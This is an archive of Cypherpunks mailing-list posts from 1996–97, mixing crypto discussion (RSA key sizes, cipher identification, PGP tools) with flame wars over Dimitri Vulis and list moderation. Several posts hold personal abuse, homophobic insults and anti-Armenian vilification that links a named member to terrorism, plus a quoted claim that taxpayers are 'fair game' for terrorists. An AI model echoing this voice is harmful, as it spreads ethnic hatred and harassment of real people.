] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
]
]C'punks,
]
]Like Tim, I'm a little surprised at all the stupid name calling
]on the list lately.
]
]On Wed, 18 Sep 1996, Dr.Dimitri Vulis KOTM wrote:
]
]> I don't think Timmy believes his own lies.
]
]Again, I don't believe Tim lies, the good doctor's assertions to
]the contrary not withstanding.
]
]> Is Timmy gay?
]
]You should have seen the babe Tim was with at my party.  Where
]do folks come up with this nonsense?
]
]> Timmy is known as a nutcase and a liar - if he keeps up his
]> "character assassination" attacks, the only reputation he hurts
]> is his own.
]
]Yeah, that's the way reputation works, but the gun is definitely
]pointed in the other direction.
]
]
] S a n d y
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]
]
]
============================================================================
]From sandfort@crl.com  Fri Sep 20 20:39:49 1996
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Fri, 20 Sep 96 21:01:24 EDT
]	for dlv
]Received: from crl.crl.com (crl.com) by mail.crl.com with SMTP id AA27356
]  (5.65c/IDA-1.5 for <dlv@bwalk.dm.com>); Fri, 20 Sep 1996 17:40:14 -0700
]Received: by crl.crl.com id AA20262
]  (5.65c/IDA-1.5 for "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>); Fri, 20 Sep 1996 17:33:03 -0700
]Date: Fri, 20 Sep 1996 17:33:02 -0700 (PDT)
]From: Sandy Sandfort <sandfort@crl.com>
]To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
]Subject: Re: Dimitri Spams
]In-Reply-To: <VDNkuD2w165w@bwalk.dm.com>
]Message-Id: <Pine.SUN.3.91.960920173112.19403E-100000@crl.crl.com>
]Mime-Version: 1.0
]Content-Type: TEXT/PLAIN; charset=US-ASCII
]
]
]
]On Fri, 20 Sep 1996, Dr.Dimitri Vulis KOTM wrote:
]
]> Ray Arachelian <sunder@brainlink.com> writes:
]>
]> > Dimitri, get a life!  We need Dimitri Spams as much as we needed
]> > Perrygrams.  Which is to say, we need them not at all!
]>
]> I see you lied when you claimed to have killfiled me.
]
]Logical falacy.  He could have killfiled you and then reinstated
]you.  In the alternative, someone could have sent him a copy of
]your post.  All in all, no proof of a lie.  Grow up.
============================================================================
]From sandfort@crl.com  Sat Sep 21 22:54:46 1996
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Sun, 22 Sep 96 00:41:18 EDT
]	for dlv
]Received: from crl5.crl.com by mail.crl.com with SMTP id AA10214
]  (5.65c/IDA-1.5 for <dlv@bwalk.dm.com>); Sat, 21 Sep 1996 19:55:01 -0700
]Received: by crl5.crl.com id AA05873
]  (5.65c/IDA-1.5 for "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>); Sat, 21 Sep 1996 19:42:26 -0700
]Date: Sat, 21 Sep 1996 19:42:25 -0700 (PDT)
]From: Sandy Sandfort <sandfort@crl.com>
]To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
]Subject: Re: Timmy May's spam (Was: Re: CIA hacked)
]In-Reply-To: <HsumuD8w165w@bwalk.dm.com>
]Message-Id: <Pine.SUN.3.91.960921193900.5771C-100000@crl5.crl.com>
]Mime-Version: 1.0
]Content-Type: TEXT/PLAIN; charset=US-ASCII
]
]Please stop spamming the list.  You can air your complaints, real
]or imaginary, against Tim or others without dumping tons of spam
]into everyone's lap.  I'm sure there would be much more sympathy
]to your situation if you did not exacerbate the situation.
]
]Regards,
]
] S a n d y
]
]On Sat, 21 Sep 1996, Dr.Dimitri Vulis KOTM wrote:
]
]> Adam Back <aba@dcs.ex.ac.uk> writes:
]> >
]> > Dimitri Vulis <dlv@bwalk.dm.com> writes:
]> > > > [email reply protesting spam]
]> > >
]> > > You are confused. The above question was e-mailed to me by one of
]> > > Timmy May's friends.
]> >
]> > What you were doing was confusing... how about attributing what people
]> > have said to you, in the standard way?  I was unsure what was going on
]> > until you clarified here.  Instead of including all the headers in
]> > there with just a space between your headers and the quoted headers
]> > (which makes it hard to follow, and makes one wonder if someone is
]> > trying a crude forgery), use standard quoting conventions:
]> >
]> > 	Joe Blogss <joe@bloggs.com> writes in private email:
]> > 	> [quoted message body]...
]> >
]> > or similar?
]>
]> You're right - the forwarding mechanism I've been using so far just yanks in
]> the spam e-mail without any processing. I will henceforth
]>  1) Put the words 'Tim', 'May', and 'spam' in the subject line
]>  2) Put some obvious ASCII prefix in front of the quotes.
]> I apologize for any confusion.
]>
]> > > If you have any comments about Timmy May's friends not knowing
]> > > English, trying to insult people, and posting non-crypto-relevant
]> > > political rants, address them to Timmy May and his friends.
]> >
]> > It would seem to me that the first insults were thrown by yourself,
]> > and that your strange habit of bouncing all the fallout to the list is
]> > perpetuating the problem.
]>
]> No. Let me remind you the sequence of events, in chronological order:
]>
]> 1. Timmy May (who picked up a few popular PKC buzzwords, doesn't know
]> anything about crypto, and isn't interested in learning) started spamming
]> this mailing list with political rants
]>
]> 2. Most people who used to discuss crypto work on this mailing list
]> have unsubscribed.
]>
]> 3. I pointed out a few examples of Tim making factually bogus claims in
]> his rants.
]>
]> 4. Tim got very angry at me and started flaming me. I ignored him.
]>
]> 5. Tim posted a series of rants about me, attributing to me various
]> nonsense I never said. I pointed out once that I never said it and
]> then ignored him.
]>
]> 6. Recently it came to my attention that Tim's been contacting off-list
]> various people in the computer security field and "complaining" about
]> the politically incorrect things that I supposedly say on the Internet
]> - except that he made up most of the "things" he complained about.
]>
]> 7. At this point I pointed out quite publicly that he's a liar.
]>
]> 8. Since that time, several friends of Tim May (or maybe Tim himself,
]> using multiple accounts) have been sending me harrassing e-mail, often
]> by quoting my own cypherpunks articles and adding an obscenity.
]>
]> 9. Tim himself continues flaming me and telling lies about me (see his
]> recent rant with the subject "death threats").
]>
]> And you see, Timmy May is an obsessive liar and a vindictive nutcase.
]>
]> > If reporting to the list is accurate, I hear you have a PhD with a
]> > subject related to crypto, so presumably you would have ample
]> > knowledge to contribute technical crypto related thoughts.  I'm sure
]> > people would be interested in anything along those lines you cared to
]> > contribute, and your reputation would benefit,
]>
]> I still hope to be able discuss crypto on this mailing list (yes, my Ph.D.
]> thesis was about crypto), but I see two problems:
]>
]> 1. A lot of people have already left this list, unwilling to be subjected
]> to Tim May's rants, lies, and personal attacks. If I post something crypto-
]> relevant to this mailing list, they won't see it.
]>
]> 2. Here's an example of the net-abuse being perpetrated by Tim May and his
]> merry gang of mailbombers. I posted some crypto-relevant wire clippings
]> to this mailing list. Either Tim (using an alternate account) or some pal
]> of his e-mailed it back to me with an obscenity appended.
]>
]> ]From adamsc@io-online.com  Thu Sep 19 00:00:57 1996
]<large quoted mailbomb skipped>
============================================================================
]From sandfort@crl.com  Mon Sep 23 23:10:07 1996
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Mon, 23 Sep 96 23:26:32 EDT
]	for dlv
]Received: from crl2.crl.com by mail.crl.com with SMTP id AA22789
]  (5.65c/IDA-1.5 for <dlv@bwalk.dm.com>); Mon, 23 Sep 1996 20:10:18 -0700
]Received: by crl2.crl.com id AA15701
]  (5.65c/IDA-1.5); Mon, 23 Sep 1996 20:08:20 -0700
]Date: Mon, 23 Sep 1996 20:08:19 -0700 (PDT)
]From: Sandy Sandfort <sandfort@crl.com>
]To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
]Cc: cypherpunks@toad.com
]Subject: Re: AP [was: Re: Kiddie porn on the Internet] [NOISE]
]In-Reply-To: <6XJquD10w165w@bwalk.dm.com>
]Message-Id: <Pine.SUN.3.91.960923194435.15255A-100000@crl2.crl.com>
]Mime-Version: 1.0
]Content-Type: TEXT/PLAIN; charset=US-ASCII
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]                          SANDY SANDFORT
] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
]
]C'punks,
]
]On Mon, 23 Sep 1996, Dr.Dimitri Vulis KOTM wrote:
]
]> There is no such thing as an "ordinary citizen". When the U.S. commits
]> war crimes in Korea, Viet Nam, Grenada, Panama, Somalia, Iraq, and elsewhere,
]> every American taxpayer is an accomplice and a fair game.
]
]Illogical collectivist claptrap.  When a taxpayer is targeted by
]terrorists, he has been victimized twice--first by the government
]that stole his money, second by the terrorist that punished him
]for the (alleged) acts others commited with that money.  If a
]mugger buys a gun with the money he took from me, am I then
]responsible for the murder he commits with it?  Clearly not.
]This line of "reasoning" is nothing more than a sad variant of
]the old, "blame the victim" game.  For shame.
]
]Let's bring this back to crypto for a moment.  Dimitri's "logic"
]must necessarily lead one to the conclusion that Cypherpunks (at
]least those in the US) are responsible for whatever draconian
]restrictions "our" government puts on free speech, crypto or
]whatever.  John Gilmore, Philip Zimmermann, Whit Diffie and
]others will be chagrined to learn this, I'm sure.
]
]Dimitri needs to learn what it means to be an adult.  Everyone is
]totally responsible for what they do, but ONLY for what THEY do.
]No one is responsible for the unassisted, willful acts of others.
]
]
] S a n d y
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]
]
============================================================================

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 13 Jan 1997 07:46:10 -0800 (PST)
To: AaronH4321@aol.com
Subject: Re: Why are 1024 bit keys the limit right now?
Message-ID: <853170077.1023902.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I am just starting at this. I know that part of RSA/PGP's strength comes from
> the size key you choose. What prevents someone from writting a 2048 bit key?
> Is it because computers can't handle it? Is 1024 top of  the prime number
> size right now? Am I way off track? 

2048 bit keys are quite commonly used but the reason that arbitrarily 
large keys are not good is because of the amount of time taken to 
generate the keys then encrypt and decrypt messages with them, PGP 
uses a hybrid system whereby the rsa algorithm encrypts a one time 
session IDEA key, a longer RSA key would result in unacceptably long 
waits for most users when encrypting and decrypting messages.

In the end it comes down to a trade off between speed and security 
and 1024 bits is a sensible compromise for most uses.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 13 Jan 1997 08:17:11 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <853170077.1023898.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Comment: "What do you mean by 'extensive research'."
> Reply: Benchmark tests. Source code comparisons. Documentations of other
> algorithms. "Applied Cryptography".

So you have read applied cryptography and decided that qualifies you 
as a cryptographer?
 
> Comment: "I've never even heard of IMDMP before. Is this a joke?"
> Reply: UDCM (IMDMP) came out January 1st, 1997. How do you think successful
> companies start anyway, with millions of dollars upfront? DataET Research is
> a relatively new company.

No new company should be dabbling with new algorithms, an assurance 
of a high probability of security comes with years of attempted 
cryptanalysis.
 
> Comment: "What kind of industry standard is IMDMP above?"
> Reply: 128-bit encryption. Average DES is 128. PGP tops 1024. IDEA goes at
> 128. RSA the same. Full security IMDMP is 2048-bit. Any other questions?

This is irrelevant rubbish, if there is a cryptanalytic attack on 
your algorithm a brute force attack becomes unecessary and key size is 
not of consequence.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 13 Jan 1997 08:28:29 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: encryption program
Message-ID: <853170081.1023947.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


> > 
> > I'm looking for ciphertext analysis tools --
> > 
> > What analysis tools did you use?  Where can I get a publicly available copy?
> > 
> 
> I just wrote a little c program for frequency analysis, but would
> also be interested if such set of tools existed.
> 
> 	- Igor.

The DIEHARD battery of tools, as seen on the Marsaglia random number 
cd published by Dr. Marsaglia of Florida university, a notable figure 
in PRNG design and analysis sounds appropriate for your purposes. It 
performs a number of statistical tests which may be useful, though I 
personally happen not to trust statistical tests to a great extent 
under most circumstances.

If you cannot find these tools after a web search for DIEHARD or 
Marsaglia email me and I will send you a copy...



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 13 Jan 1997 09:35:03 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: encryption program
Message-ID: <853170082.1023956.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > * The two 'e's in the first word have different ciphertext equivalents,
> >   so it's not a single-alphabet substitution
> yes

Could be homophonic substitution or possibly (more probably, in my 
estimation, polygram substitution. There is also the possibility of a 
polyalphabetic cipher...
 
> I also likes "follows": "vkbcjtp" note how ll gets translated to "bc".
> That suggest that after some encryption of each letter from the plaintext
> there is a consecutively increasing number added.

This tends to suggest polyalphabetic substitution.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 13 Jan 1997 09:37:15 -0800 (PST)
To: Si Dawson <simond@perception.co.nz>
Subject: Re: ok, htf do I get off this list?
Message-ID: <853170087.1023977.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> OK, I've now sent THREE requests to majordomo to get off this list.. I got
> a reply back 4 hours ago saying I was off, and the next two said I wasn't
> a member of the list.  Interesting list (minus the spamcrap obviously) and
> I think the moderation will be a good thing

Just wait a few hours more, I would expect it`s just a backlog and 
you will be properly unsuscribed soon. If you want to subscribe try 
filtering your mail to remove things you don`t want to read, this can 
cut the list down to a more manageable 20 or 30 messages a day 
although I read nearly all of the 100 or so messages a day passing 
through here.

> , BUT the 20 emails I've received
> in the last 4 hours (since I 'officially' unsubbed) is (to say the least) far
> more than I (or any reasonable mortal) can deal with.

Absolutely, you will find all of the long term suscribers on this 
list are immortal.
 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sat, 11 Jan 1997 16:27:03 -0800 (PST)
To: ice@win.bright.net
Subject: Re: Fukkin Elite!
In-Reply-To: <199701101909.OAA12364@Arl-Mail-Svc-1.compuserve.com>
Message-ID: <Pine.BSF.3.91.970111181351.29780B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



The slang's way outa date - must be a fibbie ;)

On Fri, 10 Jan 1997 ice@win.bright.net wrote:

> Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
> Homepage:www.geocities.com/~pentiumru/icehtml.htm
> We Are THE BEST!! 
> So Check us OUT!
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 11 Jan 1997 15:36:25 -0800 (PST)
To: ichudov@algebra.com>
Subject: Re: encryption program
In-Reply-To: <199701110410.WAA02230@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970111183342.1041B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 10 Jan 1997, Igor Chudov @ home wrote:

> Mark -- do you know what are the relevant file names?

I don't know them off hand.  The "applied-crypto" directory has a README file
which describes what each file is.  The cryptanalysis directory at
ftp.ox.ac.uk has some of the same files.  The filenames at that site are
mostly self-explanatory.


Mark










-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMtgkcCzIPc7jvyFpAQGOmwf+L5W8EiH9m9Q+fowUUpLHcMtXPnlryjb+
Lh+dJtxRczfV545iRksKjNWoySMG7gjggF7i9TyRFIqo1ZsqTSVjJ764mH/xJXnN
Hw223AmhORGn4A4D+pflUKfi515m2UIbKMyd2RvUq+6xFujXJA6T+EAIieQy1oLZ
cDTsNWzXafpi5OUJn21n5XuaWU+5phlSBwlZMBsSuBp4uRCdTorRTBPJjZeB11m2
CctfVOaHAzM4Aqy6+ePpMhqQsKnJWtV+DWqN1iC0IUuSQru7odCRQdIq97UWRiYp
Pw5Y8vdvp3H33/Qo6cWzxxWVcDXRNGQZNtQe3R2k2Tx0c6iaQ9NZbA==
=iwQU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "LoRd oRiOn" <mindbenders@hotmail.com>
Date: Sat, 11 Jan 1997 10:48:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Ma Bell
Message-ID: <19970111184753.7346.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


This may not have to do with you guys..but I have a question...why do Telco
people and the government blame us hackers for costing them billions of dollars
a year to fix the security holes that they have???  Instead of charging us with
felony's and with money they should thank us and/or hire us to find thier holes
and fix them!!  I don't like to screw Ma Bell..but she does have to lighten up.

---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 18:57:05 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: John, Sandy & the Dr. DV K Conspiracy Theory
In-Reply-To: <R5wD1D68w165w@bwalk.dm.com>
Message-ID: <32D851C6.5EB5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Someone writes:
> > Dr. Vulis, A lot of things surrounding the upcoming 'moderation'
> > of the CypherPunks list just don't seem to add up.

> If you think their agenda is what I think it is, then it all adds up.[snip]
> >   Notice, please, that John and Sandy have remained above the
> > fray. They have been content, until very recently, to let the
> > dogs tear at each other's throats (and let the 'voters' take
> > part in self-delusional schemes and scenarios, constructing
> > 'moderation systems' in-the-sky). And now Sandy begins to step in,
> > replying only to his 'supporters' (like a 'staged' political rally),
> > gracefully accepting their kudos in his assumption of benevolent
> > dictatorship. (Complete with assurances that there is no 'enemies list'.)

Of course, Dimitri, you and I are just paranoid. John Gilmore is really
Mother Teresa, and he dedicates his time and valuable equipment solely
to our personal betterment.  John has no agenda other than the uplifting
of mankind.  How could *anyone* possibly think that what John says and
what John really means could be two different things.

Now, I've stated this on the list before, but nobody's reading us, so
it won't matter if I repeat it [hee hee].  John has the full attention
of the FBI, CIA, and several other such orgs (any disputing that?).
Those guys are about as likely to allow John to do whatever John wants
as they are likely to allow you and I to run our own currency exchange
in Barbados, unhampered by them.

This cuts both ways:  If Gilmore kept the list open, the feds can sit
on their butts and troll to their hearts' content.  One presumes the
list is a good source of names and info, even if some of the names are
just connections to other leads, in other areas of business even.

If Gilmore wrecks the list, it has the very distinct possibility of
discouraging a *successful* replacement list for some time to come,
perhaps forever.  Think about how successful the assassination business
was for the feds for some time - today they get patsys and hide them
away for years awaiting trial, while the feds run their cases almost
entirely through the media.  Gilmore's silence has a familiar ring....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 18:22:59 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <970111120551_1074845300@emout20.mail.aol.com>
Message-ID: <32D855E0.13CC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


DataETRsch@aol.com wrote:
> 
> Hi,
>  However, on March 1st, 1997, new versions of UDCM and IMDMP will 
>  be released that...
>  The future versions will also ...

  Future versions of my replies will contain $100 bills...

> I am extremely sorry about the apparently extraneous information that is
> present in a few of my first messages to this mailing list. Such a negative
> level feedback was not anticipated. 

  You have to realize that in posting to this list, you are subjecting 
your software to review by people who are capable of performing strange
sex-acts with algorithms.
  The good news is--if you can 'sell' it here, you can sell it anywhere.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CVHD <cvhd@indyweb.net>
Date: Sat, 11 Jan 1997 16:23:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: New Win95 PGP Program
Message-ID: <3.0.32.19970111192411.00688254@indyweb.net>
MIME-Version: 1.0
Content-Type: text/enriched

Has anyone taken a look at the "Lock and Key" program for Win95/PGP?
It can be found at :  http://www.voicenet.com/~wheindl/lock&key.htm

I was wondering if there were any inherent problems using a program like this inside Win95 what with the swap-virtual memory files.

TIA for any comments



Regards from the,
Computer Virus Help Desk
http://www.indyweb.net/~cvhd


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sat, 11 Jan 1997 16:40:02 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701111638.KAA05913@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970111193411.17742A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997, Igor Chudov @ home wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Jew-hating paranoid liar Rich Graves <rcgraves@disposable.com> writes:
> > >
> > > I would not favor a moderation policy that gave carte blanche to "good guys"
> > > to talk about whatever they wanted ("libertarian bullshit" in Chudov's
> > > delicate phrasing), but required posts by "bad guys" like Dale (and in certai
> > > threads, me -- you never know) to be "about crypto." That's a hypocritical
> > > double standard.
> > 
> > Here's another typical post from Igor's soc.culture.russian.moderated (NOT).
> > 
> > Igor Chudov, a moderator of s.c.r.m, calls M. Kagalenko "envious eunich", but
> > Kagalenko has been banned from posting to s.c.r.m because he objected to its
> > creation (i.e. he's on the "blacklist" and his submissions are auto-rejected).
> 
> but none of the posts in question had ever been posted to scrm.

	You know well that Kagalenko is most rejected in scrm,
	Poor guy ...not one post, how can that be..?

> I do not see what your example is supposed to illustrate.

	Certain posters are 'discouraged' to post to scrm.

	nurdane oksas
> 
> 	- Igor.
> 
> > ]From: mkagalen@lynx.dac.neu.edu (Michael Kagalenko)
> > ]Newsgroups: soc.culture.russian,alt.genius.bill-palmer
> > ]Subject: Re: Envious Eunuch's E-Mail Evacuations
> > ]Message-ID: <5audbm$4vf@lynx.dac.neu.edu>
> > ]Date: 7 Jan 1997 15:57:26 -0500
> > ]Organization: Northeastern University, Boston, MA. 02115, USA
> > ]
> > ]Henrietta Thomas (hkt@wwa.com) wrote:
> > ]]
> > ]][newsgroups trimmed]
> > ]]
> > ]]ichudov@algebra.com (Igor Chudov @ home) wrote:
> > ]]
> > ]]>-----BEGIN PGP SIGNED MESSAGE-----
> > ]]
> > ]]>[crossposted to alt.genius.bill-palmer]
> > ]]
> > ]]>Prof. Henrietta K. Thomas wrote:
> > ]]
> > ]]Professor, eh? Well, well, well......
> > ]]
> > ]]>> >That's right, Mike;  I'll give you the bad news right here in
> > ]]>> >soc.culture.russian, since in your e-mailing, you claimed to
> > ]]>> >speak for--NOT MICHAEL KAGALENKO, EUNUCH--but the entire
> > ]]>> >s.c.r. readership, in trying to run me off because you were
> > ]]>> >infuriated by a recent posting of mine.
> > ]]>>
> > ]]>> Well, I don't know about the entire readership, but he certainly
> > ]]>> speaks for me in this regard.
> > ]]
> > ]]>Envious Eunuch Kagalenko surely does NOT speak for me and many of my
> > ]]>acquaintainces. We support Bill's struggle against the mischievous
> > ]]>censorous eunuch.
> > ]]
> > ]]You're just angry 'cause Kagalenko tried to crash your machine.
> > ]
> > ] Correction; if I have tried to crash Chudov's computer, it would have been
> > ] crashed. I'd venture to guess that getting root on his Linux box
> > ] wouldn't be all that hard, either.
> > ]
> > ](Followups to sc.r.moderasted)
> > ]
> > ]Couldn't honour it, as I am permanently banned from there.
> > ]
> > ]
> > ]--
> > ]ABILITY,n. The natural equipment to accomplish some small part of the meaner
> > ]           ambitions distinguishing able men from dead ones.
> > ]                -- Ambrose Bierce, "The Devil's Dictionary"
> > ]
> > 
> > ---
> > 
> > Dr.Dimitri Vulis KOTM
> > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> > 
> 
> 
> 
> 	- Igor.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 17:00:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ethnic origins of the ASALA/Earthweb terrorist Ray Arachelian
In-Reply-To: <3.0.32.19970111192414.006a29c0@pop.netaddress.com>
Message-ID: <y48D1D72w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


]Message-Id: <3.0.32.19970111192414.006a29c0@pop.netaddress.com>
]X-Sender: iverson@pop.netaddress.com (Unverified)
]X-Mailer: Windows Eudora Pro Version 3.0 (32)
]Date: Sat, 11 Jan 1997 19:28:56 -0500
]To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
]From: Casey Iverson <iverson@usa.net>
]Subject: Re: A vote of confidence for Sandy
]Mime-Version: 1.0
]Content-Type: text/plain; charset="us-ascii"
]
]At 03:28 PM 1/11/97 EST, you wrote:
[about the ufh.wirenet.net mailbomber terrorist]
]>This is the jerk responsible for the mail loop last Xmas, which the Armenian
]>liar Ray Arachelian tried to blame on me.
]
]This probably won't penetrate your sick mind but the fact is that   Ray
]Arachelian is *not* an an Armenian.
]
]OTOH *you* are a lying, vicious, sick, perverted, homophobic Russian scumbag.

Ray "Arsen" Arachelian admitted being an Armenian. You can complain about
his net-abuse to his boss <jack@earthweb.com>.

In the words of the Russian-Scottish poet Mikhail Lermontov,
 "Ty rab, tu trus, ty armyanin."

ASALA is the terrorist Armenian organization responsible for the murders
of dozens of Turkish diplomats and civilians.

No wonder they want to use strong crypto to cover up their terrorist acts.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 19:20:31 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <199701111950.NAA07011@manifold.algebra.com>
Message-ID: <32D87097.2A2C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote: 
> DataETRsch@aol.com wrote:
> > Questions, queries, or comments ("gulp")? E-Mail: DataETRsch@aol.com,
> > JKYuRamos@aol.com, or DataETResearch@geocities.com. Note: From now on, any
> > messages to DataET Research that do not contain the text "NO FLAME" somewhere
> > in the subject heading will be ignored completely. If a message is a indeed
> > flame, the associated server's administrator will be contacted, and a
> > complaint will be filed accordingly.
> 
> Jeremy, if you ignore them, how can you complain about them?
> Something fishy is going on?

  Good nose, Igor.
  These guys sent their 'grand announcement' of their encryption
software to
this list, and then sat back and waited for the !!!**APPLAUSE**!!! to
come
rolling in.
  Then the poor little boys seem to have gotten their feelings hurt by 
the potential 'consumers' of their product (pun intentional), asking
serious questions about their product.
  Apparently, "Excuse me, sir, but does your product 'work'?", is a
FLAME.

  Without an objective critique of their product, I would suggest that
they their best chance for success lies in the "Make $$$Money$$$ Fast'
forums--not the CypherPunks list.
  On the other hand, if they make it in the cryptography market, then 
maybe my dream of being an amateur brain surgeon is alive and well.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zirko <lzirko@c2.net>
Date: Sat, 11 Jan 1997 21:09:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private Idaho source code now available
Message-ID: <199701120510.VAA07469@blacklodge.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: lucifer@dhp.com, cypherpunks@toad.com
Date: Sun Jan 12 00:08:20 1997

It is just a front end for PGP.  It requires that you have PGP installed in 
order to make use of its encryptiom services.  There should be no export 
controls.

Lucifer says:

> 
>       My understanding is that Private Idaho uses PGP internally
> and provides the same functionality as premail, with an 
> easier to use GUI.
> 
>       Given that, it would still be export controlled, since it
> enables cryptography. That is why Raph doesn't allow export of premail.
> 
> 

Lou Zirko                                (502)499-8729
Zystems                                  lzirko@c2.org
